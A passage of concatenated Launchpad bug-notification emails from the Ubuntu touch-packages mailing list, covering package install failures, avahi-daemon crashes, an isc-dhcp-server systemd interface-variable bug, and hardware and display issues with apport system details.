upgrade" I get the message Errors were encountered while processing: gstreamer1.0-tools gstreamer1.0-plugins-base-apps E: Sub-process /usr/bin/dpkg returned an error code (1) I belive its a Bug. Please verify it. ProblemType: Package DistroRelease: Ubuntu 18.04 Package: gstreamer1.0-tools 1.14.1-1~ubuntu18.04.1 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 AptOrdering: console-setup-linux:amd64: Install console-setup:amd64: Install keyboard-configuration:amd64: Install NULL: ConfigurePending Architecture: amd64 Date: Wed Jul 25 22:54:34 2018 DuplicateSignature: package:gstreamer1.0-tools:1.14.1-1~ubuntu18.04.1 Processing triggers for ureadahead (0.100.0-20) ... ureadahead will be reprofiled on next reboot dpkg: error processing package gstreamer1.0-tools (--configure): package is in a very bad inconsistent state; you should ErrorMessage: package is in a very bad inconsistent state; you should reinstall it before attempting configuration InstallationDate: Installed on 2018-05-12 (74 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3ubuntu1 PythonDetails: N/A RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.3 SourcePackage: gstreamer1.0 Title: package gstreamer1.0-tools 1.14.1-1~ubuntu18.04.1 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting configuration UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gstreamer1.0/+bug/1783618/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1774342] Re: /lib/systemd/system/isc-dhcp-server.service $INTERFACES variable
package isc-dhcp-server version 4.3.5-3ubuntu7 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to isc-dhcp in Ubuntu. https://bugs.launchpad.net/bugs/1774342 Title: /lib/systemd/system/isc-dhcp-server.service $INTERFACES variable Status in isc-dhcp package in Ubuntu: New Bug description: package: isc-dhcp-server /etc/default/isc-dhcp-server define the variables INTERFACESv4 and INTERFACESv6 for define listening network interface, but /lib/systemd/system/isc-dhcp-server.service and /lib/systemd/system /isc-dhcp-server6.service use the variable INTERFACES (exec dhcpd -user dhcpd -group dhcpd -f -4 -pf /run/dhcp-server/dhcpd.pid -cf $CONFIG_FILE $INTERFACES'). This causes the service to listen on all interfaces. The correct way would be for /lib/systemd/system/isc-dhcp-server.service: .. exec dhcpd -user dhcpd -group dhcpd -f -4 -pf /run/dhcp-server/dhcpd.pid -cf $CONFIG_FILE $INTERFACESv4' .. for /lib/systemd/system/isc-dhcp-server.service: .. exec dhcpd -user dhcpd -group dhcpd -f -6 -pf /run/dhcp-server/dhcpd6.pid -cf $CONFIG_FILE $INTERFACESv6' . To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/isc-dhcp/+bug/1774342/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1774342] [NEW] /lib/systemd/system/isc-dhcp-server.service $INTERFACES variable
Public bug reported: package: isc-dhcp-server /etc/default/isc-dhcp-server define the variables INTERFACESv4 and INTERFACESv6 for define listening network interface, but /lib/systemd/system/isc-dhcp-server.service and /lib/systemd/system/isc- dhcp-server6.service use the variable INTERFACES (exec dhcpd -user dhcpd -group dhcpd -f -4 -pf /run/dhcp-server/dhcpd.pid -cf $CONFIG_FILE $INTERFACES'). This causes the service to listen on all interfaces. The correct way would be for /lib/systemd/system/isc-dhcp-server.service: .. exec dhcpd -user dhcpd -group dhcpd -f -4 -pf /run/dhcp-server/dhcpd.pid -cf $CONFIG_FILE $INTERFACESv4' .. for /lib/systemd/system/isc-dhcp-server.service: .. exec dhcpd -user dhcpd -group dhcpd -f -6 -pf /run/dhcp-server/dhcpd6.pid -cf $CONFIG_FILE $INTERFACESv6' . ** Affects: isc-dhcp (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to isc-dhcp in Ubuntu. https://bugs.launchpad.net/bugs/1774342 Title: /lib/systemd/system/isc-dhcp-server.service $INTERFACES variable Status in isc-dhcp package in Ubuntu: New Bug description: package: isc-dhcp-server /etc/default/isc-dhcp-server define the variables INTERFACESv4 and INTERFACESv6 for define listening network interface, but /lib/systemd/system/isc-dhcp-server.service and /lib/systemd/system /isc-dhcp-server6.service use the variable INTERFACES (exec dhcpd -user dhcpd -group dhcpd -f -4 -pf /run/dhcp-server/dhcpd.pid -cf $CONFIG_FILE $INTERFACES'). This causes the service to listen on all interfaces. The correct way would be for /lib/systemd/system/isc-dhcp-server.service: .. exec dhcpd -user dhcpd -group dhcpd -f -4 -pf /run/dhcp-server/dhcpd.pid -cf $CONFIG_FILE $INTERFACESv4' .. for /lib/systemd/system/isc-dhcp-server.service: .. exec dhcpd -user dhcpd -group dhcpd -f -6 -pf /run/dhcp-server/dhcpd6.pid -cf $CONFIG_FILE $INTERFACESv6' . To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/isc-dhcp/+bug/1774342/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1774055] [NEW] package python-dbg 2.7.12-1~16.04 failed to install/upgrade: problemas de dependencias - se deja sin configurar
Public bug reported: No further information. ProblemType: Package DistroRelease: Ubuntu 16.04 Package: python-dbg 2.7.12-1~16.04 ProcVersionSignature: Ubuntu 4.4.0-127.153-generic 4.4.128 Uname: Linux 4.4.0-127-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.17 Architecture: amd64 Date: Tue May 29 17:10:35 2018 ErrorMessage: problemas de dependencias - se deja sin configurar InstallationDate: Installed on 2016-10-13 (592 days ago) InstallationMedia: Bio‑Linux 8 based on Ubuntu 14.04 LTS "Trusty Tahr" - Release amd64 (20140417) RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.26 SourcePackage: python-defaults Title: package python-dbg 2.7.12-1~16.04 failed to install/upgrade: problemas de dependencias - se deja sin configurar UpgradeStatus: Upgraded to xenial on 2017-07-16 (317 days ago) ** Affects: python-defaults (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to python-defaults in Ubuntu. https://bugs.launchpad.net/bugs/1774055 Title: package python-dbg 2.7.12-1~16.04 failed to install/upgrade: problemas de dependencias - se deja sin configurar Status in python-defaults package in Ubuntu: New Bug description: No further information. ProblemType: Package DistroRelease: Ubuntu 16.04 Package: python-dbg 2.7.12-1~16.04 ProcVersionSignature: Ubuntu 4.4.0-127.153-generic 4.4.128 Uname: Linux 4.4.0-127-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.17 Architecture: amd64 Date: Tue May 29 17:10:35 2018 ErrorMessage: problemas de dependencias - se deja sin configurar InstallationDate: Installed on 2016-10-13 (592 days ago) InstallationMedia: Bio‑Linux 8 based on Ubuntu 14.04 LTS "Trusty Tahr" - Release amd64 (20140417) RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.26 SourcePackage: python-defaults Title: package python-dbg 2.7.12-1~16.04 failed to install/upgrade: problemas de dependencias - se deja sin configurar UpgradeStatus: Upgraded to xenial on 2017-07-16 (317 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/python-defaults/+bug/1774055/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1762212] [NEW] package avahi-dnsconfd 0.6.32~rc+dfsg-1ubuntu2 failed to install/upgrade: el subproceso script pre-removal nuevo devolvió el código de salida de error 1
Public bug reported: Error ocurred while upgrading system. ProblemType: Package DistroRelease: Ubuntu 16.04 Package: avahi-dnsconfd 0.6.32~rc+dfsg-1ubuntu2 ProcVersionSignature: Ubuntu 4.13.0-37.42~16.04.1-generic 4.13.13 Uname: Linux 4.13.0-37-generic i686 ApportVersion: 2.20.1-0ubuntu2.15 Architecture: i386 Date: Sun Apr 8 17:57:54 2018 ErrorMessage: el subproceso script pre-removal nuevo devolvió el código de salida de error 1 InstallationDate: Installed on 2017-12-31 (98 days ago) InstallationMedia: Ubuntu-MATE 16.04.3 LTS "Xenial Xerus" - Release i386 (20170801) RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.26 SourcePackage: avahi Title: package avahi-dnsconfd 0.6.32~rc+dfsg-1ubuntu2 failed to install/upgrade: el subproceso script pre-removal nuevo devolvió el código de salida de error 1 UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: avahi (Ubuntu) Importance: Undecided Status: New ** Tags: apport-package i386 xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to avahi in Ubuntu. https://bugs.launchpad.net/bugs/1762212 Title: package avahi-dnsconfd 0.6.32~rc+dfsg-1ubuntu2 failed to install/upgrade: el subproceso script pre-removal nuevo devolvió el código de salida de error 1 Status in avahi package in Ubuntu: New Bug description: Error ocurred while upgrading system. ProblemType: Package DistroRelease: Ubuntu 16.04 Package: avahi-dnsconfd 0.6.32~rc+dfsg-1ubuntu2 ProcVersionSignature: Ubuntu 4.13.0-37.42~16.04.1-generic 4.13.13 Uname: Linux 4.13.0-37-generic i686 ApportVersion: 2.20.1-0ubuntu2.15 Architecture: i386 Date: Sun Apr 8 17:57:54 2018 ErrorMessage: el subproceso script pre-removal nuevo devolvió el código de salida de error 1 InstallationDate: Installed on 2017-12-31 (98 days ago) InstallationMedia: Ubuntu-MATE 16.04.3 LTS "Xenial Xerus" - Release i386 (20170801) RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.26 SourcePackage: avahi Title: package avahi-dnsconfd 0.6.32~rc+dfsg-1ubuntu2 failed to install/upgrade: el subproceso script pre-removal nuevo devolvió el código de salida de error 1 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/avahi/+bug/1762212/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1638345] Re: avahi-daemon crashes multiple times an hour
Hi, Trent. I upgraded the avahi packages with apt and replaced the configuration file that I had edited with the file supplied by the package. Everything works as intended. Thank you! -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to avahi in Ubuntu. https://bugs.launchpad.net/bugs/1638345 Title: avahi-daemon crashes multiple times an hour Status in avahi package in Ubuntu: Fix Released Bug description: Ever since upgrading to 16.10, avahi-daemon crashes multiple times an hour, leading to the prompt to report the issue to Ubuntu. ProblemType: Bug DistroRelease: Ubuntu 16.10 Package: avahi-daemon 0.6.32-1ubuntu1 ProcVersionSignature: Ubuntu 4.8.0-26.28-generic 4.8.0 Uname: Linux 4.8.0-26-generic x86_64 NonfreeKernelModules: zfs zunicode zcommon znvpair zavl ApportVersion: 2.20.3-0ubuntu8 Architecture: amd64 CurrentDesktop: Unity Date: Tue Nov 1 10:48:35 2016 InstallationDate: Installed on 2016-07-08 (115 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) SourcePackage: avahi UpgradeStatus: Upgraded to yakkety on 2016-10-31 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/avahi/+bug/1638345/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1435421] Re: Dell XPS 15 - audio combo jack - microphone not working
I am on Arch Linux, same laptop model, same bug, I notice this is a 3 year old issue and I do not know if there has been any update to it in the meantime. Is there anything I can do to help solve this issue? (ps I made a thread on the arch forum about my problem https://bbs.archlinux.org/viewtopic.php?pid=1777240#p1777240 ) ** Also affects: alsa-driver (Arch Linux) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1435421 Title: Dell XPS 15 - audio combo jack - microphone not working Status in alsa-driver package in Ubuntu: Confirmed Status in alsa-driver package in Arch Linux: New Bug description: Combo jack (headphones and microphone) working only as headphone output. Microphone is not detected at all when plugged-in. My exact laptop model is: Dell XPS 15 9530. I'm on 14.04 LTS, but I dont think its version-related. What more informations shall I collect and post here? I have also sent a report via http://www.alsa-project.org/alsa- info.sh. Would it help if I include one here? $ lsb_release -rd Description: Ubuntu 14.04.1 LTS Release: 14.04 --- ApportVersion: 2.14.1-0ubuntu3 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: bartek 2296 F pulseaudio /dev/snd/controlC0: bartek 2296 F pulseaudio CurrentDesktop: GNOME DistroRelease: Ubuntu 14.04 EcryptfsInUse: Yes InstallationDate: Installed on 2014-08-19 (218 days ago) InstallationMedia: Ubuntu-GNOME 14.04.1 LTS "Trusty Tahr" - Release amd64 (20140722.2) MachineType: Dell Inc. XPS 15 9530 Package: linux (not installed) ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.13.0-36-generic root=UUID=a8714bf2-f3fb-4875-bb9e-4354f36a7f66 ro quiet splash nomdmonddf nomdmonisw ProcVersionSignature: Ubuntu 3.13.0-36.63-generic 3.13.11.6 RelatedPackageVersions: linux-restricted-modules-3.13.0-36-generic N/A linux-backports-modules-3.13.0-36-generic N/A linux-firmware 1.127.6 Tags: trusty Uname: Linux 3.13.0-36-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm bumblebee cdrom dip libvirtd lpadmin plugdev sambashare sudo www-data _MarkForUpload: True dmi.bios.date: 03/28/2014 dmi.bios.vendor: Dell Inc. dmi.bios.version: A04 dmi.board.name: XPS 15 9530 dmi.board.vendor: Dell Inc. dmi.board.version: A04 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: Not Specified dmi.modalias: dmi:bvnDellInc.:bvrA04:bd03/28/2014:svnDellInc.:pnXPS159530:pvrA04:rvnDellInc.:rnXPS159530:rvrA04:cvnDellInc.:ct8:cvrNotSpecified: dmi.product.name: XPS 15 9530 dmi.product.version: A04 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1435421/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1757091] [NEW] systemctl enable lightdm
Public bug reported: Synchronizing state of lightdm.service with SysV service script with /lib/systemd/systemd-sysv-install. Executing: /lib/systemd/systemd-sysv-install enable lightdm The unit files have no installation config (WantedBy, RequiredBy, Also, Alias settings in the [Install] section, and DefaultInstance for template units). This means they are not meant to be enabled using systemctl. Possible reasons for having this kind of units are: 1) A unit may be statically enabled by being symlinked from another unit's .wants/ or .requires/ directory. 2) A unit's purpose may be to act as a helper for some other unit which has a requirement dependency on it. 3) A unit may be started when needed via activation (socket, path, timer, D-Bus, udev, scripted systemctl call, ...). 4) In case of template units, the unit is meant to be enabled with some instance name specified. ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: lightdm 1.24.0-0ubuntu1 ProcVersionSignature: Ubuntu 4.13.0-37.42-generic 4.13.13 Uname: Linux 4.13.0-37-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia ApportVersion: 2.20.7-0ubuntu3.7 Architecture: amd64 Date: Tue Mar 20 11:44:46 2018 InstallationDate: Installed on 2018-01-22 (57 days ago) InstallationMedia: Ubuntu-Server 17.10 "Artful Aardvark" - Release amd64 (20171017.1) ProcEnviron: TERM=xterm PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: lightdm UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: lightdm (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug artful third-party-packages -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to lightdm in Ubuntu. https://bugs.launchpad.net/bugs/1757091 Title: systemctl enable lightdm Status in lightdm package in Ubuntu: New Bug description: Synchronizing state of lightdm.service with SysV service script with /lib/systemd/systemd-sysv-install. Executing: /lib/systemd/systemd-sysv-install enable lightdm The unit files have no installation config (WantedBy, RequiredBy, Also, Alias settings in the [Install] section, and DefaultInstance for template units). This means they are not meant to be enabled using systemctl. Possible reasons for having this kind of units are: 1) A unit may be statically enabled by being symlinked from another unit's .wants/ or .requires/ directory. 2) A unit's purpose may be to act as a helper for some other unit which has a requirement dependency on it. 3) A unit may be started when needed via activation (socket, path, timer, D-Bus, udev, scripted systemctl call, ...). 4) In case of template units, the unit is meant to be enabled with some instance name specified. ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: lightdm 1.24.0-0ubuntu1 ProcVersionSignature: Ubuntu 4.13.0-37.42-generic 4.13.13 Uname: Linux 4.13.0-37-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia ApportVersion: 2.20.7-0ubuntu3.7 Architecture: amd64 Date: Tue Mar 20 11:44:46 2018 InstallationDate: Installed on 2018-01-22 (57 days ago) InstallationMedia: Ubuntu-Server 17.10 "Artful Aardvark" - Release amd64 (20171017.1) ProcEnviron: TERM=xterm PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: lightdm UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1757091/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1638345] Re: avahi-daemon crashes multiple times an hour
Thank you, Trent. I commented out the rlimits section and restarted avahi-daemon. I'll let you know if the fix doesn't work or if it introduces any bugs. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to avahi in Ubuntu. https://bugs.launchpad.net/bugs/1638345 Title: avahi-daemon crashes multiple times an hour Status in avahi package in Ubuntu: Confirmed Bug description: Ever since upgrading to 16.10, avahi-daemon crashes multiple times an hour, leading to the prompt to report the issue to Ubuntu. ProblemType: Bug DistroRelease: Ubuntu 16.10 Package: avahi-daemon 0.6.32-1ubuntu1 ProcVersionSignature: Ubuntu 4.8.0-26.28-generic 4.8.0 Uname: Linux 4.8.0-26-generic x86_64 NonfreeKernelModules: zfs zunicode zcommon znvpair zavl ApportVersion: 2.20.3-0ubuntu8 Architecture: amd64 CurrentDesktop: Unity Date: Tue Nov 1 10:48:35 2016 InstallationDate: Installed on 2016-07-08 (115 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) SourcePackage: avahi UpgradeStatus: Upgraded to yakkety on 2016-10-31 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/avahi/+bug/1638345/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1638345] Re: avahi-daemon crashes multiple times an hour
Why was this task "unassigned"? This issue still affects me and many others. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to avahi in Ubuntu. https://bugs.launchpad.net/bugs/1638345 Title: avahi-daemon crashes multiple times an hour Status in avahi package in Ubuntu: Confirmed Bug description: Ever since upgrading to 16.10, avahi-daemon crashes multiple times an hour, leading to the prompt to report the issue to Ubuntu. ProblemType: Bug DistroRelease: Ubuntu 16.10 Package: avahi-daemon 0.6.32-1ubuntu1 ProcVersionSignature: Ubuntu 4.8.0-26.28-generic 4.8.0 Uname: Linux 4.8.0-26-generic x86_64 NonfreeKernelModules: zfs zunicode zcommon znvpair zavl ApportVersion: 2.20.3-0ubuntu8 Architecture: amd64 CurrentDesktop: Unity Date: Tue Nov 1 10:48:35 2016 InstallationDate: Installed on 2016-07-08 (115 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) SourcePackage: avahi UpgradeStatus: Upgraded to yakkety on 2016-10-31 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/avahi/+bug/1638345/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1661205] Re: avahi daemon repeatedly crashes on boot
I am not the reporter but can confirm that it still affects 16.04 LTS. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to avahi in Ubuntu. https://bugs.launchpad.net/bugs/1661205 Title: avahi daemon repeatedly crashes on boot Status in avahi package in Ubuntu: Incomplete Bug description: causes "System program problem detected" to pop-up repeatedly and randomly. "Report problem..." does nothing. Used to just crash once per boot, and allow reports. ProblemType: Bug DistroRelease: Ubuntu 16.10 Package: avahi-daemon 0.6.32-1ubuntu1 ProcVersionSignature: Ubuntu 4.8.0-34.36-generic 4.8.11 Uname: Linux 4.8.0-34-generic x86_64 ApportVersion: 2.20.3-0ubuntu8.2 Architecture: amd64 CurrentDesktop: Unity Date: Thu Feb 2 10:43:04 2017 InstallationDate: Installed on 2016-10-31 (93 days ago) InstallationMedia: Ubuntu 16.10 "Yakkety Yak" - Release amd64 (20161012.2) SourcePackage: avahi UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/avahi/+bug/1661205/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1750475] [NEW] atualização
Public bug reported: quando instalei compiz ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: xorg 1:7.7+19ubuntu3 ProcVersionSignature: Ubuntu 4.13.0-32.35-generic 4.13.13 Uname: Linux 4.13.0-32-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.7-0ubuntu3.7 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true Date: Mon Feb 19 21:23:34 2018 DistUpgraded: 2018-02-03 00:15:21,540 ERROR got error from PostInstallScript ./xorg_fix_proprietary.py (g-exec-error-quark: Falha ao executar processo filho “./xorg_fix_proprietary.py” (Arquivo ou diretório não encontrado) (8)) DistroCodename: artful DistroVariant: ubuntu GraphicsCard: Intel Corporation 4 Series Chipset Integrated Graphics Controller [8086:2e32] (rev 03) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. 4 Series Chipset Integrated Graphics Controller [1043:836d] InstallationDate: Installed on 2017-06-04 (260 days ago) InstallationMedia: Ubuntu 16.10 "Yakkety Yak" - Release amd64 (20161012.2) MachineType: System manufacturer System Product Name ProcEnviron: LANGUAGE=pt_BR:pt:en PATH=(custom, no user) LANG=pt_BR.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.13.0-32-generic root=UUID=c11a0bb6-5ab4-4b2c-af3b-b92bc7ac4a87 ro splash quiet SourcePackage: xorg UpgradeStatus: Upgraded to artful on 2018-02-03 (16 days ago) dmi.bios.date: 05/16/2011 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 0402 dmi.board.asset.tag: To Be Filled By O.E.M. dmi.board.name: P5G41T-M LX3 dmi.board.vendor: ASUSTeK Computer INC. dmi.board.version: Rev X.0x dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr0402:bd05/16/2011:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKComputerINC.:rnP5G41T-MLX3:rvrRevX.0x:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.family: To Be Filled By O.E.M. dmi.product.name: System Product Name dmi.product.version: System Version dmi.sys.vendor: System manufacturer version.compiz: compiz 1:0.9.13.1+17.10.20170901-0ubuntu1 version.libdrm2: libdrm2 2.4.83-1 version.libgl1-mesa-dri: libgl1-mesa-dri 17.2.8-0ubuntu0~17.10.1 version.libgl1-mesa-glx: libgl1-mesa-glx 17.2.8-0ubuntu0~17.10.1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.5-0ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.5-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.10.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20170309-0ubuntu1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 xserver.bootTime: Mon Feb 19 21:15:03 2018 xserver.configfile: default xserver.devices: inputPower Button KEYBOARD, id 6 inputPower Button KEYBOARD, id 7 inputLogitech USB Optical Mouse MOUSE, id 8 inputAT Translated Set 2 keyboard KEYBOARD, id 9 xserver.errors: xserver.logfile: /var/log/Xorg.0.log xserver.version: 2:1.19.5-0ubuntu2 xserver.video_driver: modeset ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug artful compiz-0.9 ubuntu -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1750475 Title: atualização Status in xorg package in Ubuntu: New Bug description: quando instalei compiz ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: xorg 1:7.7+19ubuntu3 ProcVersionSignature: Ubuntu 4.13.0-32.35-generic 4.13.13 Uname: Linux 4.13.0-32-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.7-0ubuntu3.7 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true Date: Mon Feb 19 21:23:34 2018 DistUpgraded: 2018-02-03 00:15:21,540 ERROR got error from PostInstallScript ./xorg_fix_proprietary.py (g-exec-error-quark: Falha ao executar processo filho “./xorg_fix_proprietary.py” (Arquivo ou diretório não encontrado) (8)) DistroCodename: artful DistroVariant: ubuntu GraphicsCard: Intel Corporation 4 Series Chipset Integrated Graphics Controller [8086:2e32] (rev 03) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. 4 Series Chipset Integrated Graphics Controller [1043:836d] InstallationDate: Installed on 2017-06-04 (260 days ago) InstallationMedia: Ubuntu 16.10 "Yakkety Yak" - Release amd64 (20161012.2) MachineType: System manufacturer System Product Name ProcEnviron: LANGUAGE=pt_BR:pt:en PATH=(custom, no user)
[Touch-packages] [Bug 1722047] [NEW] package base-files 9.6ubuntu13 failed to install/upgrade: package base-files is not ready for configuration cannot configure (current status 'half-installed')
Public bug reported: It happens after try install FileZilla, I was not able to resolve also a update of source.list was not possible, all server always report a problem: E:The package base-files needs to be reinstalled, but I can't find an archive for it. (no matter the server I tried). ProblemType: Package DistroRelease: Ubuntu 17.04 Package: base-files 9.6ubuntu13 ProcVersionSignature: Ubuntu 4.10.0-35.39-generic 4.10.17 Uname: Linux 4.10.0-35-generic x86_64 ApportVersion: 2.20.4-0ubuntu4.5 AptOrdering: base-files:amd64: Configure NULL: ConfigurePending Architecture: amd64 Date: Sun Oct 8 11:06:27 2017 DpkgTerminalLog: dpkg: error processing package base-files (--configure): package base-files is not ready for configuration cannot configure (current status 'half-installed') ErrorMessage: package base-files is not ready for configuration cannot configure (current status 'half-installed') InstallationDate: Installed on 2017-06-04 (125 days ago) InstallationMedia: Ubuntu 17.04 "Zesty Zapus" - Release amd64 (20170412) RelatedPackageVersions: dpkg 1.18.10ubuntu2 apt 1.4.6~17.04.1 SourcePackage: base-files Title: package base-files 9.6ubuntu13 failed to install/upgrade: package base-files is not ready for configuration cannot configure (current status 'half-installed') UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: base-files (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package zesty -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to base-files in Ubuntu. https://bugs.launchpad.net/bugs/1722047 Title: package base-files 9.6ubuntu13 failed to install/upgrade: package base-files is not ready for configuration cannot configure (current status 'half-installed') Status in base-files package in Ubuntu: New Bug description: It happens after try install FileZilla, I was not able to resolve also a update of source.list was not possible, all server always report a problem: E:The package base-files needs to be reinstalled, but I can't find an archive for it. (no matter the server I tried). ProblemType: Package DistroRelease: Ubuntu 17.04 Package: base-files 9.6ubuntu13 ProcVersionSignature: Ubuntu 4.10.0-35.39-generic 4.10.17 Uname: Linux 4.10.0-35-generic x86_64 ApportVersion: 2.20.4-0ubuntu4.5 AptOrdering: 